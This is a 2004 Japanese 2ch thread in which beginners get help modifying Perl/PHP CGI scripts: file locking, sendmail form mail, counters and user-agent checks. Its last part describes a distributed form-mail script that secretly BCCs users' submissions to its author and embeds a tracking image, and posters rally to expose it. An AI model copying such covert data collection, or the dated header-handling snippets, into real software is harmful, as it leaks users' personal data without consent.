★三 【 スクリプト改造工房 PART 8 】 ★三at PHP
★三 【 スクリプト改造工房 PART 8 】 ★三 - 暇つぶし2ch116:nobodyさん
04/05/09 04:58
>>115
丸投げスレじゃないのに丸投げしちゃいました
丸投げスレでもこれじゃあ叩かれますが・・・すいませんでした

117:>>110
04/05/09 11:37
>>113
またまた返答ありがとうございます。
やはり状況に変化無しです。
何か根本的に間違っているのでしょうか…
ファイルアップして置きます。

URLリンク(tool-ya.ddo.jp)

CGI.pmのパーミッションは644でいいですよね?

118:nobodyさん
04/05/09 11:59
>>117
perldoc -m CGI ;

おいおいおーい

119:>>110
04/05/09 12:17
>>118

??
ごめんなさい。まったく意味がわからないのですが、不必要って事なんですか?

120:nobodyさん
04/05/09 12:31
>>119
うむ、
コマンドで打ち込んでごらん、説明が出るから

121:nobodyさん
04/05/09 12:34
perlがインストールされてるマシンで
perldoc -m CGI
で、CGI.pmについての解説が読める。

つまり、それを読んでdecode部とかをmultipart/form-dataを処理するように自分で書き換えましょう、と。
sub decodeで何をやってるか理解できる程度の知識は必要だな。
あ、一応言っておくが、数行追加した程度では無理だぞ。数十行の書き換えが必要。

122:nobodyさん
04/05/09 12:36
それにCGI.pmは標準モジュールぢゃ。
わざわざ>>119がUPする必要も無かろう。

123:nobodyさん
04/05/09 12:42
ついでに
use CGI;
の下に
use CGI::Carp qw(fatalsToBrowser);
と書いておくがよい。
素人には役に立つおまじないぢゃ。

124:>>110
04/05/09 13:04
>>121
何度も回答ありがとうございます。

>sub decodeで何をやってるか理解できる程度の知識は必要だな。
えーと、理解出来てるわけではないので無理だと思います。(T.T)

何度かのやり取りでわかっていただけるかと思いますが、私に出来る事と言えばせいぜい他のCGIから
コピペして帳尻を合わせる程度です。

方法を丸々教えていただくわけには行かないでしょうか?
宜しくお願いします。



125:nobodyさん
04/05/09 13:36
>>124
だから CGI.pm を読みましょうと云っているわけです。
ここはそういう主旨のスレッドですから。

126:>>110
04/05/09 13:55
>>125
では、もう少し努力して見ます('◇';ゞ

>perlがインストールされてるマシンで
>perldoc -m CGI
>で、CGI.pmについての解説が読める。

これは自分のPCでと言う事ですか?それともレンタルサーバでって事でしょうか?
・・・
えーと、バカな事やってるなぁって笑わないでくださいね(;´Д`)
コマンドプロンプト(XP)からCGI.pmがある場所に移動して「perldoc -m CGI」ってやって見ましたが
だめでした。

借りてるサーバはロリポップです。どこでどうしたら良いのでしょう?
お願いします。

127:nobodyさん
04/05/09 14:10
CGI.pm multipart でググれ

128:nobodyさん
04/05/09 17:04
>>126
おまいはローカルに開発環境が無いのか?
まさか、
ローカルでスクリプトを編集→FTPでUP→500エラー→(◎_◎) →最初に戻る
してるんじゃないのか?

行き詰ったらこちらへどうぞ。
【 スクリプト改造依頼スレ 】(丸投げ)
スレリンク(php板)l50
優しい神様が居られるといいですね♥

129:>>110
04/05/09 22:38
>>128
>ローカルでスクリプトを編集→FTPでUP→500エラー→(◎_◎) →最初に戻る
その通りです(T^T)

【 スクリプト改造依頼スレ 】(丸投げ) に逝ってきます。

130:ぷーた
04/05/09 23:44 zdsKN9LG
カウントアップするときに数値を1~9の間でランダムにカウントアップ
させたいのですが、どうすればよいのかわからないのですがだれか教えてくれませんか?

if ($voteflag){
open (IO,"+<$datadir/$id.dat");
eval{flock(IO,2)};
@temp1 = split(/<>/,<IO>);
@temp1 = split(/<>/,&backupload($id)) if $temp1[0] eq "";
if ($temp1[0] ne "datamissing"){
#$temp1[0] = time();
$temp1[11]++;
$temp1[13]++;
$temp1[15]++;
truncate(IO,0);
seek(IO,0,0);
foreach(@temp1){print IO $_."<>";}
close(IO);
}else{
close(IO);
&syslog("AUTO","<font color=purple>データ消失(ID:$id)</font>");
&dataerase($id);
}
}


131:nobodyさん
04/05/09 23:59
$count+= substr('123456789', int(rand(9)), 1);

132:ぷーた
04/05/10 00:20 J17kBtwc
どうもです。 早速やってみます。

133:ぷーた
04/05/10 00:29 J17kBtwc
う~ん上記のスクリプトにどう埋め込んだらよいかわかりません。。
だれか助けて。。

134:nobodyさん
04/05/10 00:42
datのうち、どの部分が「カウント」なのか分からんとどうしようもない。
っつうか、勉強する気がない奴は丸投げスレへ。

135:お願いします
04/05/10 22:25 VaFCZTZV
URLリンク(www.booboo.ne.jp)
にある、BooGetData ver1.00というスクリプトについてアドバイスをお願いします。

このスクリプトは、フォームから受け取ったデータを
CSVファイルに追記保存していくというものです。

このスクリプトに、
・書込むCSVファイルの内容が消えないようなファイルロック機能と、
・管理者へフォームから受け取ったデータをメールで送信する機能を
つけたいと思っています。
flock関数やsendmailの使い方がよくわからないので出来ませんでした。
perlを初めてからまもなく知識には乏しいですが、
頑張って理解していこうと思いますのでお願いします。

ファイルアップしておきます。
URLリンク(tool-ya.ddo.jp)

136:お願いします
04/05/10 23:20
自分でファイルロック処理だけ書いてみたのですが、
112行目からを

sub outputdata{
# 現在の時間を取得
($sec,$min,$hour,$day,$mon,$year) = localtime(time);
$mon++;
$year += 1900;
$stmp = sprintf("%04d/%02d/%02d-%02d:%02d:%02d",$year,$mon,$day,$hour,$min,$sec);

open (DAT,">>$output");
&body;
flock(DAT,2);
print DAT "$body,$stmp\r\n";
flock(DAT,8);
close (DAT);
}

こうしてみました。これだけでいいのでしょうか?

137:お願いします
04/05/10 23:20
すみません、間違えました…
112行目からじゃなくて102行目からでした。
逝ってきます。

138:nobodyさん
04/05/10 23:31
>>136
>flock(DAT,8);
これはいらない。

sendmailのサンプルはすぐ見つかるからがんばれ。

139:nobodyさん
04/05/10 23:46
追加書き込み(>>)ならファイルロックしなくても普通は飛ばないけどね。
&bodyはopenの前にしておいた方がいいと思う。
みんなが使うファイルを手に持ったまま関係ない仕事をするのはマナーが悪い。

140:お願いします
04/05/11 00:12
>>138-139
ありがとうございます。flock(DAT,8)を消すのと、
&bodyの位置を変えます。

正直なところ、&bodyがなんなのかすらわかってません(T-T)

141:お願いします
04/05/11 01:44
色々調べつつ下記の様に書いて見たんですが、全然メール来る気配なしです。
何が間違ってるのか全然わかりません。

sub outputdata{
# 現在の時間を取得
($sec,$min,$hour,$day,$mon,$year) = localtime(time);
$mon++;
$year += 1900;
$stmp = sprintf("%04d/%02d/%02d-%02d:%02d:%02d",$year,$mon,$day,$hour,$min,$sec);

&body;
open (DAT,">>$output");
flock(DAT,2);
print DAT "$body,$stmp\r\n";
close (DAT);

#メール送信
$myaddress = 'xxx@xxxx.com';
open(MAIL,"|$sendmail $myaddress");
print MAIL "Subject: title\n";
print MAIL "$body,$stmp\n";
close(MAIL);
}
これではダメなのでしょうか?

142:nobodyさん
04/05/11 02:44
>>141
sendmail へのパスが設定されていないから?> $sendmail の中身は?
あと、 man sendmail して使用上の注意をよく読んでお使い下さい。

143:nobodyさん
04/05/11 09:29
>140
サブルーチン。調べてみるとひとつレベルが上がると思う。
とりあえずsub bodyでファイル内を検索してみな。

sendmailについては使えない鯖も多い。
どのみちsendmailのパスが分からないと使えないので、ページ置いてる鯖のFAQとかを嫁。

144:お願いします
04/05/11 13:56
$sendmailのパスは上の方に書いてあります…。
今はWIN機で書いているので、
$sendmail

145:nobodyさん
04/05/11 19:44
print MAIL "Subject: title\n";

print MAIL "From: $myaddress\n";
print MAIL "To: $myaddress\n";
print MAIL "Subject: title\n\n";
に書き換え、でどうよ。

146:nobodyさん
04/05/11 19:53
いや、
open(MAIL,"|$sendmail $myaddress");
ここが間違ってないか?

とあるスクリプトの該当部分を貼っておく
参考しる

open(MAIL,"| $sendmail -t") or &error("sendmailの起動ミス");

print MAIL "To: $mailto\n";
print MAIL "From: $mailfrom\n";
print MAIL "Subject: $subject\n";
print MAIL "Content-Transfer-Encoding: 7bit\n";
print MAIL "Content-Type: text/plain; charset=iso-2022-jp\n";
print MAIL "\n\n";
print MAIL "$body\n";

close(MAIL) or &error("メールの送信ミス");


147:nobodyさん
04/05/11 19:58
>146
sendmail -t
To: hogehoge@hoge.com
(略
と、
sendmail hogehoge@hoge.com
To: hogehoge@hoge.com
(略
は全く同じ。sendmail -tの"-t"の意味、分かってないだろ。
ま、鯖側で-tオプションをつけて起動する事を義務付けてる可能性も無くはないけどな。

148:146
04/05/11 20:08
>147
意味わかってなかった。ありが㌧

149:お願いします
04/05/14 01:20
色々な助言ありがとうございます。
自分なりにも色々いじってみたんですが、
どうしても出来ませんでした。

今やってたのは「フォームから受け取った
データをCSVに保存するCGIにメール機能をつける」
だったんですが、考え直しまして、
「普通のフォームメールにCSV保存機能をつける」
に方向転換しようかと思います。
こっちの方が簡単なんじゃないかと…

150:nobodyさん
04/05/14 01:31
まあそうしたいならそれでもいいけど。
できなかったでやめていたらいつまでたってもできないぞ。
それに何がどうできなかったか書かなければアドバイスだってしようがない。

151:nobodyさん
04/05/16 08:38
質問させていただきます。
KENTWEBで配布しているYYCHATなんですが、
発言の文中にURLが表記されたときに自動にリンク貼れるように改造したいのですが、

if ($com) { $com ="<a href=\"$com\" target=\"_blank\">$com</a>\n";} (397行目あたり)

というスクリプトにすると普通の文章までリンクしようとしてしまいます。
URLだけリンク貼れるようにするにはどの辺りを直せばいいのでしょうか?
よろしくお願いします。

152:nobodyさん
04/05/16 09:09
お前面白いな
ネタにマジレス
URLだけならURLを抜き出せ
当たり前だろ

153:nobodyさん
04/05/16 09:13
>>151
ここは丸投げスレじゃないから厳しいぞ。
>>152ほどじゃないがな

どぞ↓
URLリンク(www.google.com)

154:151
04/05/16 10:17
ありがとうございました。
>>153さんのアドのところから調べて無事解決できました。
もっとよく調べてから聞くべきでした(´・ω・`)

155:nobodyさん
04/05/16 17:51
■ 設置の方法がわからない場合には
CGI設置について質問
スレリンク(php板:15番)(テンプレ)

■ 自分で改造できない場合には
【 スクリプト改造依頼スレ 】(丸投げ)
スレリンク(php板:324番)(テンプレ)

■ 自分で改造するアドバイスが欲しい場合には
★三 【 スクリプト改造工房 PART 8 】 ★三
スレリンク(php板:79番)(テンプレ)

156:nobodyさん
04/05/17 14:13 HUxEX/E5
KENT WEBのショッピングカートcgi「Shopping Cart」を
設置しました。無事機能してます。

で、新規追加の画面から販売物を追加していくと、トップの販売画面に

□ □
□ □
□ □...

と言うように販売物のテーブルが追加されていくんですが、
これを、2列折り返しでなく、1列にするにはどーすればいいんでしょうか?
単純にどっかに改行タグ入れればいいんだと思うですが....

157:nobodyさん
04/05/17 15:09
505 :nobodyさん :04/05/14 19:29 ID:AHTH/fbA
KENT WEBのショッピングカートcgi「Shopping Cart」を
設置しました。無事機能してます。

で、新規追加の画面から販売物を追加していくと、トップの販売画面に

□ □
□ □
□ □...

と言うように販売物のテーブルが追加されていくんですが、
これを、2列折り返しでなく、1列にするにはどーすればいいんでしょうか?
単純にどっかに改行タグ入れればいいんだと思うですが....

スレリンク(php板:505-番)

158:nobodyさん
04/05/17 15:23
506 :nobodyさん :04/05/14 19:53 ID:???
スレ違い。
というかHTMLすら分からないようであればCGIの改造は到底無理。
素直に諦めるか勉強しろ。


159:156
04/05/17 22:36 UCKt7Cge
誘導されたので来たのですが。。。

160:156
04/05/17 22:37 UCKt7Cge
それじゃ次は丸投げ行きます!(予告)

161:nobodyさん
04/05/17 22:40
誰がどこで誘導したのか知らんが来る場所は間違っていないか?

162:nobodyさん
04/05/17 23:09
URLリンク(www.206.usn.ac)

ここで勉強する!

163:座敷荒氏
04/05/22 19:14
教えてくださいませm(_ _。)m
以下、内容を自分宛にメールで送信する部分です。
「$in{'_email'}」は相手のメアドをFrom:にしないで、
本文のほうに載せたい場合どうしたらいいのでしょうか?
**************************
if (!open(OUT,"| $sendmail -t")) { &error("異常停止","$!","back"); }

print OUT &jis("X-Processed: $date_now\n");
print OUT "X-SENDER: $REMOTE_HOST\[$REMOTE_ADDR\]\n";
print OUT &jis("X-AGENT: $HTTP_USER_AGENT\n");
print OUT "From: $in{'_email'}\n";
print OUT "To: $mailto_order\n";
print OUT &jis("Subject: $mail_subject [$date_num]\n");
print OUT "Content-Transfer-Encoding: 7bit\n";
print OUT "Content-Type: text/plain; charset=iso-2022-jp\n\n";

print OUT "\n";
foreach (@in) {

s/"/"/g;
s/&/&/g;
s/</</g;
s/>/>/g;

if (/^\.\t(.*)/) { print OUT &jis("$1\n"); }
elsif (/(.*)\t(.*)/) { print OUT &jis("[$1] $2\n"); }
}
print OUT "\n";

print OUT &jis("$sign\n");
close(OUT);
**************************

164:nobodyさん
04/05/22 21:58
>>163はマルチなので放置

165:座敷荒氏
04/05/22 22:39
放置とかやめた方がいいぞ?

166:nobodyさん
04/05/22 23:14
なんでよ。

167:nobodyさん
04/05/22 23:28
名前からしてまともなやつじゃないとわかるから放置。

168:座敷荒氏
04/05/22 23:44
へんなやつー

169:nobodyさん
04/05/23 23:30
自己分析来た

170:nobodyさん
04/05/28 10:57
phpの掲示板にテキスト広告をランダムに表示させるスクリプトキボンヌです。

171:nobodyさん
04/05/28 11:22
>>170
板違いだハゲ

172:nobodyさん
04/05/28 16:02
丸投げに行った方がいいような初心者ですがちょっと聞いてください。

・スクリプト名:PHP JoyfulNoteのgdバージョンtype2
・配布もと:鏡の国さん(URLリンク(script.s16.xrea.com)

・いじろうとした事:
 ・オリジナルではアップされた画像のファイル名が「番号.jpg」になるのを
  「up0001.jpg」のような「ヘッダ+桁揃えされた番号.jpg」に。(成功)
 ・サムネイルのファイル名を、アップされた画像のファイル名と別にする。(成功)
 ・CSSをいじってデザインの変更

・作業手順:テキストエディタで一括置換したりコピペで置換したりしながら
 FTPでアップして確認。PHPは全然知らないのでネットで検索して試行錯誤。

・問題点:スレッドの先頭の投稿で本文が勝手に改行される。そういう処理に関わる所をいじった覚えはないはず。レスの投稿は正常。
改行が生じる場所は本文の長さによって違う。長い文程後の方で改行が生じる。
二文字だと一文字目の後で改行される。

・質問:なぜ問題点のような事が生じたのかわからないのですが、どのへんがどうおかしくなっている可能性があるのか心当たりございましたら教えてください。

173:nobodyさん
04/05/28 17:17
>>172
改行されるタグが入っているからだろ

174:nobodyさん
04/05/28 20:05
どこをどういじったか分からないことには答えようがないよ。
「変にいじった覚えはない」なんて言われても信用できない。

175:nobodyさん
04/05/28 20:06
どこをどういじったか分からないことには答えようがないよ。
「変にいじった覚えはない」なんて言われても信用できない。

176:nobodyさん
04/05/28 20:45
>>174
その通りですね。
パスワードとか消した上でどこかにアップします。

なお、余計なおせっかいですが現在2chが鯖移管の関係?とかで混んでいるらしく、
書き込めていてもタイムアウトエラーになったりして二重書き込みになりやすい状態です。ご注意ください。

177:nobodyさん
04/05/28 21:54
>>176
なぜ改行されてしまったソースを調べない?
HTMLもわからんのか?

178:nobodyさん
04/05/29 01:27
>>177
ヒントありがとうございます。
<br>が勝手に挿入という事はありませんでした。
一度全部の書き込みを削除したら再現されません。
?????

179:nobodyさん
04/05/29 01:33
やっぱり起きました。
しかし別のブラウザで見ると正常です。何だこれ。。

180:172,176,178,179
04/05/29 01:58
細切れの書き込みですいません。<BLOCKQUOTE>が犯人のような気がします。
テーブルとの組み合わせが問題なのかも。
特定ブラウザの問題かな・・。オリジナルのスクリプトにもあった問題かも。
問題の方向が分かったので次は結論を出してから書き込みます。

181:172,176,178,179
04/05/29 03:25
元からあった問題のようだという事でオリジナルのスクリプトと差し替えて試した所やはり同現象が生じました。テーブルとBLOCKQUOTEの組み合わせでレイアウトしてあるために特定のブラウザで問題が生じるという事のようです。
例えば問題の起きた書き込みの部分は下記のようですが、
「ど」の次で改行されて、タテ書きのようになります。四文字でも完全にタテ書くになりました。
この部分のみを<html><body></body></html>で囲んだhtmlファイルを作って該当ブラウザで開いても同じ現象が置きました。テーブルのみ、blockquoteのみでは生じませんでした。
blockquoteを抜いて同じようなレイアウトができないか考える事にします。

</TABLE>
<TABLE border=0 cellpadding=5>
<TR>
<TD><BLOCKQUOTE><FONT color="#000000">どう</FONT></BLOCKQUOTE></TD>
</TR>
</TABLE>

182:nobodyさん
04/05/29 18:43
HTML はその名の通りマークアップするものです。
レイアウトは CSS でおながいいたします。
ちなみに blockquote は長文引用、font は非推奨です。
凡例:
TD.quote { padding: 1.0em 1.0em 1.0em 3.0em; color: #000; background: transparent; white-space: nowrap; }
<TD class="quote">どう</TD>

183:nobodyさん
04/05/29 21:11
スレ違いに優しいスレだな。

184:172,176,178,179
04/05/30 03:29
引っ込むつもりでしたがレス頂いたのでまたのこのこ出てきますた。

>>182
あい。わかりますた。例まで書いて頂いてありがとうございます。

ところでもしTableも使わないとしたらちょっと大変そうですね。
<div></div>だらけになっておこられるかなー。。

185:nobodyさん
04/06/01 00:36
>184
スレ違いだがCSSを侮らない方がいい。
掲示板に要求される程度のレイアウトは余裕でできる。というか実際作った事がある。

tableでのレイアウトをしていないサイトは案外多いぞ。
たとえば「はてなダイアリー」の本文の部分はtableを一切使っていない。

186:京阪マソ ◆0atqBUamHk
04/06/04 01:36 /BQPM3QN
はじめまして、現在アッハン掲示板を利用して
サイトを運営しているのですが、下記のように改造したくて
こちらにうかがわせていただきました。
URLリンク(keihanman.s53.xrea.com)

どのように改造したいかというと現在、大阪府全体を
扱った掲示板になっているのですが、掲示板中ほどに
地域別に分けたリンク集を表示したい、
なおかつそのリンク先に書き込みがあるごとに
所属した地域リンク集の中の一番上に表示されるようにしたいのです。

このようなことは可能でしょうか?

187:nobodyさん
04/06/04 01:38
■ 自分で改造できない場合には
【 スクリプト改造依頼スレ 】(丸投げ)
スレリンク(php板:324番)(テンプレ)

■ 自分で改造するアドバイスが欲しい場合には
★三 【 スクリプト改造工房 PART 8 】 ★三
スレリンク(php板:79番)(テンプレ)

188:京阪マソ ◆0atqBUamHk
04/06/04 01:54 /BQPM3QN
>>187
申し訳ありません、向こうで依頼してきました。

189:nobodyさん
04/06/05 17:38 ooKajGIS
失礼します。現在THE ROOMの機種別振り分けCGIを使っています。
Mobile Jumper
URLリンク(dream.lib.net)

これをDOCOMOならムーバとFOMA、AUならムーバとWIN、Vodaはパケと非パケ
といった風に分けたいのですが、現在更新も止まっておりサポートも止まっています。

端末別振り分けの項目があるのですが、
そこに機種名を書いてもうまく振り分けてくれません。
よろしくお願い致します。

190:nobodyさん
04/06/05 18:01
>>189
スレ違い

191:nobodyさん
04/06/05 18:06
すぐ上が読めない人には、きっとすぐ下も読めないだろう。

192:nobodyさん
04/06/05 18:11
(´・ω・)

193:nobodyさん
04/06/05 18:12
>>189
お前は

■ 設置の方法がわからない場合には
CGI設置について質問
スレリンク(php板:15番)(テンプレ)


194:グレ
04/06/07 17:59 /GUEYbCQ
THE ROOMのRanking Link Ver.1.86携帯端末用
URLリンク(dream.lib.net)

をEZWEB(WIN)にも対応させたいんですが、
WIN端末からOUTはカウントするんですけどINがカウントされません。

ranking.cgiの
106行目以降の変更だと思うのですが、なかなかうまくいきません。
わかる方よろしくです。

195:nobodyさん
04/06/07 19:21
>>194
丸投げへ。

196:nobodyさん
04/06/07 19:36
>>195
>>194はヒントだけ欲しいんじゃないかな?
だったらこのスレでもいいと思うぞ。

197:グレ
04/06/07 20:11 /GUEYbCQ
>>194
×ranking.cgi
○ranklink.cgi でした。
106行目以降

if ($vote_terminal == 0){$voteflag = 1;}
else{
$a1 = $ENV{'HTTP_USER_AGENT'};
if (($a1 =~ /^DoCoMo\//) ||
($a1 =~ /^J-PHONE\//) ||($a1 =~ /^UP\.Browser/) ||
($a1 =~ /^ASTEL\//) ||($a1 =~ /^
PDXGW\//)){
if ($vote_terminal == 1){$voteflag = 0;}else{$voteflag = 1;}
}
elsif ($vote_terminal == 1){$voteflag = 1;}else{$voteflag = 0;}
}

となっているんですが、
($a1 =~ /^UP\.Browser/)
ではムリなんでしょうか?

どうもEZweb対応にするのが難しくて・・・。

198:未承諾広告※ ◆TWARamEjuA
04/06/07 20:26
>>197
URLリンク(www.au.kddi.com)
このあたりを眺めてみる。
($a1 =~ /^UP\.Browser/)
では無理でしょうねぇ。


199:グレ
04/06/07 21:06 /GUEYbCQ
>>198
ありがとうございます!!
無事WINでもカウントしました!!

200:nobodyさん
04/06/07 21:10 UI3v3779
みたびスレ移動で質問

掲示板CGIにアクセス解析CGIを組み込みたいと思ってます。
Bodyの中にタグとして書き出すのでなく、CGIの中で完結させたい
(ソースを見てもわからないようにしたい)のですが、
具体的にどのようにすればいいのでしょうか。
サブルーチンで解析CGIを呼び出す、というヒントは読んだのですが
呼び出しの記述の仕方がわかりません。
なんとなくこんなふう書くのではないかと思うのですが↓

sub access {
  ??? = './acc/acc.cgi?a=b&&c=d';
}

どなたかアドヴァイスおねがいできませんか!


201:nobodyさん
04/06/07 22:13
突然の投稿での失礼をお許し下さい。

KentWebで公開されているWeb Patio というBBSに、
ID機能を付けたいと思っております。
理由は、自作自演などの投稿をある程度防ぐためなので、
IPアドレス、Cookieのどちらを元に作成するID機能でも構いません。

大変申し訳無いのですが、もしご教示いただけたら大変有難いです。

スクリプト配布元: URLリンク(www.kent-web.com)



202:nobodyさん
04/06/07 22:21
IPかホストをcryptでもして名前の後ろに結合しておけ

203:nobodyさん
04/06/08 00:29
どれにあてはまるかよく考え、各スレにテンプレを使って質問・依頼するように

■ 設置の方法がわからない場合には
CGI設置について質問
スレリンク(php板:15番)(テンプレ)

■ 自分で改造できない場合には
【 スクリプト改造依頼スレ 】(丸投げ)
スレリンク(php板:324番)(テンプレ)

■ 自分で改造するアドバイスが欲しい場合には
★三 【 スクリプト改造工房 PART 8 】 ★三
スレリンク(php板:79番)(テンプレ)

204:nobodyさん
04/06/08 16:50
このcgiを改良してください。
作者さんによると無用な負荷を与えるそうなので。
URLリンク(www.coara.or.jp)

205:204
04/06/08 16:53
スレ違いでした。
逝ってきます。

206:未承諾広告※ ◆TWARamEjuA
04/06/08 20:27
>>204
こういうのって初めて見たけれども力業で解析しているのね。ちょと感動した(w

207:200
04/06/09 04:21 siBsh0Gf
>>200 ですがこのように
cgiでcgiを呼び出して使ってる方はいないでしょうか?
requireでもopen(<IN>, "**.cgi")でも駄目でした。
ヒントだけでもよいのでおねがいします。

208:nobodyさん
04/06/09 04:41
`

209:nobodyさん
04/06/09 06:08
>>207
スレ違い
>>1>>79をよく読め

210:nobodyさん
04/06/09 06:39 siBsh0Gf
>>209
初心者の質問スレでは煽られたのみで
Perlコーディング初心者の質問スレでは改造スレで聞いたほうがいいと言われ
ここに来たのですが、
組み込みたい解析cgiと組み込み先の掲示板cgiをURLで紹介すればいいということでしょうか?
そちらのほうが人に手間をかけると思ったのですが・・・

211:nobodyさん
04/06/09 06:50
簡単に教えてやる。

初めから他のCGIに組み込む前提で作られていないCGIを
お前がやろうとしている方法でそのまま使うことは無理。

212:210
04/06/09 06:57
>>211
解析cgi配布先には、できるようなことが書いてあったのですが(具体法はなし)
複雑になってくると書いてあったので、相当難しいのでしょうかね・・・
ともかくレスありがとうございます。

あちこちに誘導されてあたかもマルチのようになってるので
こちらの質問は取り下げてPerl初心者スレで聞きます。

213:208
04/06/09 17:05
>>207
もういないと思うけど、一応言っておくぞ。

お前は「ヒントだけでもよいのでおねがいします」って言ってたのでヒントを教えてやったのに私のことは無視ですか?

> 組み込みたい解析cgiと組み込み先の掲示板cgiを…(ry
まあなんだな、最初に丸投げスレで、テンプレに添って上記の依頼をしていたら、今頃君はHappyになっていただろう。

そんなに難しいわけでもないからな。
つーか、そこそこ勉強すればすぐできるレベルだから、これを機会に勉強すればいいぞ。

214:nobodyさん
04/06/11 12:13 nOPYLa/M
COMCHATのROM表示なのですが
@data(全参加者数)から$num(参加者数)を引けば良いとのことなんですが
どぉ弄れば良いのかさっぱり分かりません
何方かご教授お願いいたします。


215:nobodyさん
04/06/11 12:32
>>214 君には改造は無理のようだ。諦めれ。

216:nobodyさん
04/06/11 19:20
>>214
同じような改造依頼が過去何件もあった。
だが、いまだかつて改造ができたケースは無い。
なぜなら、ROMというのが(全参加者数)から(参加者数)を引けば良いといえないからである。

217:214
04/06/11 20:24
>>216
アドバイスありがとうございます。
相当敷居が高そうですね;;


218:nobodyさん
04/06/11 20:34
>>217
おまいさん、ちょっと思い違いしているかもしれない。
改造が難しいとは言ってない。
改造するに値しないといっている。
なぜなら、ROMというのが(全参加者数)から(参加者数)を引けば良いといえないからである。
ROMというのはどういう状態なのかを定義できないからである。
>>217はROMというのはどういう状態か定義できるのか?
ならば道は開かれよう。

219:nobodyさん
04/06/11 21:38
とあるCGIスクリプト本文の中に、 送ってもらうフォーム内容を
スクリプト配布元のメールアドレスにもBCCで送信する構文が入っているものがありました。
そしてフォームHTML内にはスクリプト配布元のアクセス解析のGIF画像まで。

URLリンク(web-up.cside.biz)

URLリンク(ringoch.nekoruri.jp)
URLリンク(alpha.ringoch.info)
URLリンク(gateway.ringoch.info)
URLリンク(ringoch.dayomon.net)
URLリンク(alpha.www.td:81)

URLリンク(ringoch.nekoruri.jp)
URLリンク(alpha.ringoch.info)
URLリンク(gateway.ringoch.info)
URLリンク(ringoch.dayomon.net)
URLリンク(alpha.www.td:81)

220:nobodyさん
04/06/11 21:43
>>219
これって犯罪じゃないのか?
どこか目立つ板で祭りしようや。

221:nobodyさん
04/06/11 21:48
>>220
通信傍受だな

速報か

222:こりゃ大変だ
04/06/11 22:01
祭り会場決まったら教えてね

223:nobodyさん
04/06/11 22:01
>>219
これはヲチ板とかニュー速でも祭った方がいいんじゃね?

224:nobodyさん
04/06/11 22:07
とりあえず証拠収集と解析をしようぜ。

まずはサイトを丸ごと保存して注意書きとかチェック。
他にも何か仕込まれていないか全スクリプトを落としてチェック。

225:nobodyさん
04/06/11 22:10
--------------------------------------------------------------------
214 名前:名無しさん@どーでもいいことだが。 メェル:sage 投稿日:04/06/10 20:42 ID:KO2sUTHI
自分の理想にぴったりかなったID/PASS請求用の高機能フォームCGI(フリーウェア)を発見し、
いそいそとダウンロードして「さぁ編集だ~!」と喜び勇んでエディタで開いたところ…。

なんとスクリプト本文の中に、
読者様から送ってもらうフォーム内容(なまものに対する情熱を熱く語って頂く項目あり)を、
スクリプト配布元のメールアドレスにもBCCで送信する構文が入ってて( ゚д゚)ポカーソ
しかもそれだけじゃなく、フォームのHTML内には
スクリプト配布元のリンク監視用(?)
アクセス解析GIF透明画像(もちろん相手のサイトを直接呼び出し)が埋め込まれた。

つまり、読者様の与り知らないところで自サイトフォームへのアクセスがCGIの配布元に記録され、
しかも大きな声ではとてもとても言えないような密やかな萌えをCGIの配布元にまで
コソーリ送信するような仕組みになっていたというわけだ。
(((( ;゚Д゚))ガクガクブルブル

気持ち悪いなんていう理由でそういった部分を削除するのは規約違反だし、
元々そういう違反関連にかなりうるさいサイトらしく、
本気で晒し上げもしかねないような雰囲気だったのでやむなく使用を断念。
規約を読んでダウンロードしたのは自分なわけだし
機能の充実した素晴らしいフリーウェアだから少々の制約は致し方ないとはいえ、
あまりにも卑劣というか姑息だなと思ったので…。
大切な読者様に迷惑かかるのは一番イクナイ!し…。
--------------------------------------------------------------------
個人+商用+メールフォームCGI+CSVデータ蓄積
でヤフ検索すると出てくる。

226:nobodyさん
04/06/11 22:31
>>224
今保存ちう~

> 個人情報の取り扱いについて
> ◆お客様の個人情報の取り扱いについて
> 弊社が収集した個人情報は、不適切な対応が行われないよう厳重に管理いたします。
> ◆お客様の個人情報の第三者への提供について
> お客様から提供を受けた個人情報は、お客様のご了承なしで第三者へ提供することはありません。
> 同様に、お客様のご了承なしで弊社の都合で勝手にDMを送付するといったこともありません。
> ◆スクリプトを不正に利用した方の個人情報の取り扱いについて
> 当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。

商用サイト向けに作られてるから
さぞ個人情報が集まった事だろうね。

227:nobodyさん
04/06/11 22:34
法律に反してまで不正に個人情報収集キタ━━(゚∀゚)━━ッ!!

228:nobodyさん
04/06/11 22:36
これ大問題だな
セキュリティー板にも誰か貼れよ

N速マダー

229:nobodyさん
04/06/11 22:52
N速マダー

って実は立てようとしたんだけど、俺のホストでは立てられなかった。
簡単に祭りになるかと思ったのにどこでも静かだね。

230:nobodyさん
04/06/11 22:55
【盗聴】web-up.cside.biz【個人情報詐取】

おいらも立てられないぞ。

231:nobodyさん
04/06/11 23:00
>>230
スレ立て依頼スレがあるよ
テンプレ作って、投下しれ

232:230
04/06/11 23:21
スレ起て規制中だからテンプレまで考えてなかった_| ̄|○スマソ
誰かヨロシク。

233:nobodyさん
04/06/11 23:32
ヌー速はスレ保持数が極端に少なくなってるから
よっぽど捻ってスレ立てないと即落ちだぞ。

234:nobodyさん
04/06/11 23:36
ヌー速でなくても、Web系の板にとりあえず立てたらどうか?
とりあえず、世のサイト管理人に知らせたいもんだ。

235:nobodyさん
04/06/11 23:42
URLリンク(ex5.2ch.net)

ネトヲチ板とか

236:nobodyさん
04/06/11 23:44
>>235
そこも立てられなかった…誰かヨロ

とりあえず>>219がテンプラでどーだ

237:nobodyさん
04/06/11 23:46
ヲチ板に立てるなら一応hは抜いておいたらどうだろう。
相手が既に気付いてるなら夜逃げ段階かもしれないけど。

238:nobodyさん
04/06/11 23:49
【盗聴】web-up.cside.biz【個人情報詐取】

CGIスクリプト本文の中に、 送ってもらうフォーム内容を
スクリプト配布元のメールアドレスにもBCCで送信する構文が入っているものがありました。
そしてフォームHTML内にはスクリプト配布元のアクセス解析のGIF画像まで。

URLリンク(web-up.cside.biz)

URLリンク(ringoch.nekoruri.jp)
URLリンク(alpha.ringoch.info)
URLリンク(gateway.ringoch.info)
URLリンク(ringoch.dayomon.net)
URLリンク(alpha.www.td:81)

URLリンク(ringoch.nekoruri.jp)
URLリンク(alpha.ringoch.info)
URLリンク(gateway.ringoch.info)
URLリンク(ringoch.dayomon.net)
URLリンク(alpha.www.td:81)


こんな感じか。
>>2に画像のURLでもいいね。誰かヨロ

239:nobodyさん
04/06/11 23:51
この板は見てないので住民の傾向は分からんが
